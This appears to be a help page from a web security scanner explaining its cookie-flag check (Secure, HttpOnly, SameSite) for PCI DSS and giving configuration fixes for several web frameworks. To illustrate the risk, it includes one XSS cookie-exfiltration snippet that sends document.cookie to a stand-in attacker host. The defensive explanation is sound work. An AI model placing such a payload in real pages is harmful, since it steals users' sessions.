Back to scan results
Check 14 of 24

Cookie Security Flags

We collect every Set-Cookie header from your homepage response (including ones inside redirects) and check each one for the three attributes that matter for session security: Secure, HttpOnly, and SameSite.

What this check probes

For each cookie set, we examine:

  • Secure — present means the browser will only send the cookie over HTTPS. Without it, a single accidental HTTP request leaks the cookie to anyone watching.
  • HttpOnly — present means JavaScript can't read the cookie via document.cookie. Blocks cookie theft via XSS.
  • SameSite — controls whether the cookie is sent on cross-site requests:
    • Strict — never sent cross-site. Tightest, but breaks "click a link in email and stay logged in".
    • Lax — sent on top-level navigations only (not on POST, fetch, image loads). Modern browser default. Blocks most CSRF.
    • None — sent everywhere. Required for legitimate cross-site cookies (e.g., embedded widgets), but must be paired with Secure.
  • Session vs. persistent — we identify session cookies (those without Expires / Max-Age) and apply stricter expectations to anything name-matching session, auth, token, JSESSIONID, PHPSESSID, ASP.NET_SessionId.

Why this matters for PCI DSS

A session cookie without these flags is the easiest credential theft target on the web:

  • No Secure + a single HTTP request anywhere on the domain → passive sniffer captures the cookie → full session takeover.
  • No HttpOnly + any XSS bug (even reflected, even on an obscure page) → fetch('//attacker/?c='+document.cookie) → session takeover.
  • No SameSite + a malicious page the user visits → cross-site POST inherits cookies → CSRF.

PCI DSS 4.0 Requirement 4.2.1 demands strong cryptography in transit, which Secure enforces. 6.2.4 covers the broader injection/forgery defense. 8.3 covers authentication factor protection — session cookies are authentication factors.

How to fix it

Set the flags at the framework level so every cookie inherits them.

PHP (php.ini):

session.cookie_secure = 1
session.cookie_httponly = 1
session.cookie_samesite = "Lax"

ASP.NET (web.config):

<system.web>
  <httpCookies requireSSL="true" httpOnlyCookies="true" sameSite="Lax" />
  <sessionState cookieRequireSSL="true" cookieSameSite="Lax" />
</system.web>

Express (Node.js) with express-session:

app.use(session({
    cookie: { secure: true, httpOnly: true, sameSite: 'lax' }
}));

Django (settings.py):

SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = 'Lax'
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_SAMESITE = 'Lax'

Rails (config/initializers/session_store.rb):

Rails.application.config.session_store :cookie_store,
    key: '_app_session', secure: true, httponly: true, same_site: :lax

Cookie naming convention — for the strongest guarantee, prefix your session cookie with __Host- (e.g., __Host-Session=...). Browsers refuse to set this prefix without Secure and a path of /, and refuse a Domain attribute. Belt-and-suspenders against misconfiguration.

Verify with: curl -I https://example.com/ | grep -i set-cookie

Fixed it? Re-run the scan to confirm.

Run scan again